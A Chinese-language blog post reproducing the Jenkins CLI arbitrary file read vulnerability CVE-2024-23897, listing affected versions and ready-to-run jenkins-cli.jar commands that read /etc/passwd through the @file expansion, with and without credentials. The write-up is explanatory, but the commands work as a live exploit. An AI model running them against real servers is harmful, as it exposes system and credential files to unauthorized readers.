Jenkins任意文件读取漏洞(CVE-2024-23897)复现

Jenkins 有一个内置的命令行界面CLI,在处理 CLI 命令时Jenkins 使用args4j 库解析 Jenkins 控制器上的命令参数和选项。此命令解析器具有一个功能,可以将@参数中后跟文件路径的字符替换为文件内容 ( expandAtFiles)。具有Overall/Read权限的攻击者可以读取整个文件,未授权的攻击者仅能读取文件前几行内容。

1.漏洞级别

高危

2.影响范围

复制代码
Jenkins <= 2.441
Jenkins <= LTS 2.426.2

3.漏洞复现

3.1 cli执行命令

漏洞利用需求执行cli命令,我们可以从官网下载jenkins-cli.jar,我也会在附件资源上放一份,有需要的可以自行下载。

执行

复制代码
java -jar jenkins-cli.jar -s url -http help @/etc/passwd  #http请求
java -jar jenkins-cli.jar -s url -webSocket help @/etc/passwd  #websocket请求
java -jar jenkins-cli.jar -s url  help @/etc/passwd  #默认方式

同样的,不只有help命令能进行操作,以下这些命令也可以

复制代码
help
who-am-i
keep-build
restart
shutdown
safe-shutdown
disable-job
enable-job

如果jenkins没有配置匿名用户可读权限,在未授权的情况下只能获得文件前几行。
如果想获取全部的文件内容,则需要overall/read权限

执行

复制代码
java -jar jenkins-cli.jar -s url -http help @/etc/passwd  -auth user:password

3.2 利用进阶

如果Jenkins开启了"匿名用户可读"选项,connect-node命令和reload-job命令可以用来读取文件全部内容:

执行

复制代码
java -jar jenkins-cli.jar -s url -http reload-job @/etc/passwd
相关推荐
芯盾时代3 小时前
《金融业网络安全管理办法(征求意见稿)》全条款深度拆解(二)
安全·web安全·网络安全
蒲公英eric1 天前
从客户端到服务端:DVWA DOM 型 XSS 模块完整漏洞分析教程
前端·web安全·ai·xss·dvwa·ai安全
IT大白鼠1 天前
MSF二次开发与自定义模块编写
网络·安全·web安全·msf
其实防守也摸鱼2 天前
智能体推荐:精选 AI Agent 工具与实战指南
运维·开发语言·人工智能·学习·web安全·自动化
Sayai2 天前
Elasticsearch 快照备份到 NAS(NFS)实战:SLM 自动化 + 365 天保留策略
elasticsearch·自动化·jenkins
Best-Wishes2 天前
好靶场杯第一届-古法 流量包分析
计算机网络·web安全·安全威胁分析
2601_962072502 天前
网络安全防护指南:筑牢网络安全防线(510)
安全·web安全·php
Bruce_Liuxiaowei3 天前
2026年8月第4周网络安全形势周报
人工智能·安全·web安全·智能体
HackTwoHub3 天前
Butter_Cookie 黄油曲奇|浏览器渗透插件,云存储检测、XSS、SQL 注入一站式 Web 安全测试工具
前端·sql·安全·web安全·网络安全·自动化·xss